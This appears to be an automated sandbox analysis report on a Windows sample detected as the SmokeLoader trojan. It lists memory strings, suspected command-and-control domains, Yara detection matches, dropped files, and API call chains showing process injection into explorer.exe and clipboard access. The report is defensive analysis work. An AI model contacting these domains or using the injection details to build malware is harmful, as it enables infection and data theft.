        Source: explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lodash.com/
        Source: explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lodash.com/license
        Source: explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://openjsf.org/
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comer
        Source: explorer.exe, 00000010.00000003.2284353529.000000000C0DE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://quantumqube.org/index.php
        Source: explorer.exe, 00000010.00000003.2284453665.000000000C161000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://quantumqube.org:443/index.php
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
        Source: explorer.exe, 00000010.00000003.2284353529.000000000C0DE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wjyexpohquxqfpu.com/
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2284662189.000000000BDF5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/EM0
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.com48
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.autoitscript.com/autoit3/
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
        Source: file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/0
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/06
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/predicting-what-the-pac-12-would-look-like-after-expansion-wi
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
        Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
        Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
        Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713

        Key, Mouse, Clipboard, Microphone and Screen Capturing

        barindex
        Yara detected SmokeLoader
        Source: Yara matchFile source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000010.00000002.2737063558.0000000000BA1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000019.00000002.2734174203.0000000000131000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000018.00000002.2734343773.0000000002B71000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 2736, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 6168, type: MEMORYSTR
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_004050CD
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A0F5B0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,11_2_00A0F5B0
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A0F5B0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,14_2_00A0F5B0
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0078F5B0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,19_2_0078F5B0
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A0F345 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,11_2_00A0F345
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_004044A5
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A29B7E DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,11_2_00A29B7E
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A29B7E DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,14_2_00A29B7E
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007A9B7E DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,19_2_007A9B7E

        System Summary

        barindex
        Malicious sample detected (through community Yara rule)
        Source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
        Source: 0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
        Source: 00000010.00000002.2737063558.0000000000BA1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_004015DD NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,15_2_004015DD
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_00403095 RtlCreateUserThread,NtTerminateProcess,15_2_00403095
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_0040160A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,15_2_0040160A
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_0040160E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,15_2_0040160E
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_00401613 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,15_2_00401613
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_004033C5 ExpandEnvironmentStringsW,CreateFileW,CreateFileMappingW,MapViewOfFile,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,15_2_004033C5
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_004015E8 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,15_2_004015E8
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_004015F3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,15_2_004015F3
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_004015FA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,15_2_004015FA
        Source: C:\Windows\explorer.exeCode function: 16_2_00BA301C NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,16_2_00BA301C
        Source: C:\Windows\explorer.exeCode function: 16_2_00BA47D0 NtCreateSection,16_2_00BA47D0
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E4B92 RtlMoveMemory,NtUnmapViewOfSection,20_2_028E4B92
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E33C3 NtQueryInformationFile,20_2_028E33C3
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,20_2_028E349B
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E342B NtQueryObject,NtQueryObject,RtlMoveMemory,20_2_028E342B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A04635: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,11_2_00A04635
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F1A7B LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,11_2_009F1A7B
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,0_2_00403883
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FF0CD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,11_2_009FF0CD
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009FF0CD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,14_2_009FF0CD
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0077F0CD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,19_2_0077F0CD
        Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\HeroesMistakesJump to behavior
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040497C0_2_0040497C
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00406ED20_2_00406ED2
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004074BB0_2_004074BB
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B209711_2_009B2097
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B80C711_2_009B80C7
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009921FD11_2_009921FD
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009CA30E11_2_009CA30E
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B235211_2_009B2352
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009AC45C11_2_009AC45C
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A1C5C411_2_00A1C5C4
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A028D711_2_00A028D7
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009CE92011_2_009CE920
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F8AB411_2_009F8AB4
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009C6B8B11_2_009C6B8B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009ACBB211_2_009ACBB2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009BCEC011_2_009BCEC0
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A24F4F11_2_00A24F4F
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_0099D00011_2_0099D000
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009C71F911_2_009C71F9
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_0099954011_2_00999540
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B17B411_2_009B17B4
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00999A2011_2_00999A20
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B1B2611_2_009B1B26
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B7C3B11_2_009B7C3B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B1DD011_2_009B1DD0
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00999E8011_2_00999E80
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B7E6A11_2_009B7E6A
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009ADF7811_2_009ADF78
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B209714_2_009B2097
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B80C714_2_009B80C7
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009921BD14_2_009921BD
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009AC2EF14_2_009AC2EF
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009CA30E14_2_009CA30E
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B235214_2_009B2352
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A1C5C414_2_00A1C5C4
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A028D714_2_00A028D7
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009CE92014_2_009CE920
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009F8AB414_2_009F8AB4
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009C6B8B14_2_009C6B8B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009BCEC014_2_009BCEC0
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A24F4F14_2_00A24F4F
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_0099D00014_2_0099D000
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009C71F914_2_009C71F9
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_0099954014_2_00999540
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B17B414_2_009B17B4
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00999A2014_2_00999A20
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B1B2614_2_009B1B26
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B7C3B14_2_009B7C3B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B1DD014_2_009B1DD0
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00999E8014_2_00999E80
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B7E6A14_2_009B7E6A
        Source: C:\Windows\explorer.exeCode function: 16_2_00BA28B016_2_00BA28B0
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007380C719_2_007380C7
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0073209719_2_00732097
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007121BD19_2_007121BD
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0072C2EF19_2_0072C2EF
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0073235219_2_00732352
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0074A30E19_2_0074A30E
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0079C5C419_2_0079C5C4
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007828D719_2_007828D7
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0074E92019_2_0074E920
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00778AB419_2_00778AB4
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00746B8B19_2_00746B8B
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0073CEC019_2_0073CEC0
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007A4F4F19_2_007A4F4F
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0071D00019_2_0071D000
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007471F919_2_007471F9
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0071954019_2_00719540
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007317B419_2_007317B4
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00719A2019_2_00719A20
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00731B2619_2_00731B26
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00737C3B19_2_00737C3B
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00731DD019_2_00731DD0
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00737E6A19_2_00737E6A
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00719E8019_2_00719E80
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E219820_2_028E2198
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028EC2F920_2_028EC2F9
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028FB35C20_2_028FB35C
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_0293443820_2_02934438
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028FB97E20_2_028FB97E
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E6E6A20_2_028E6E6A
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_02905F0820_2_02905F08
        Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\390641\Imposed.com 05D8CF394190F3A707ABFB25FB44D7DA9D5F533D7D2063B23C00CC11253C8BE7
        Source: C:\Windows\SysWOW64\explorer.exeCode function: String function: 028E7F70 appears 33 times
        Source: C:\Windows\SysWOW64\explorer.exeCode function: String function: 028E8801 appears 40 times
        Source: C:\Users\user\Desktop\file.exeCode function: String function: 004062A3 appears 57 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 009B4E48 appears 42 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 009B4D83 appears 62 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 0099774C appears 33 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 009B0E50 appears 92 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 00996DB1 appears 34 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 009AFE52 appears 79 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 009C33C6 appears 48 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 009B922B appears 36 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 0099C110 appears 56 times
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: String function: 009D2370 appears 55 times
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: String function: 00734D83 appears 33 times
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: String function: 00730E50 appears 46 times
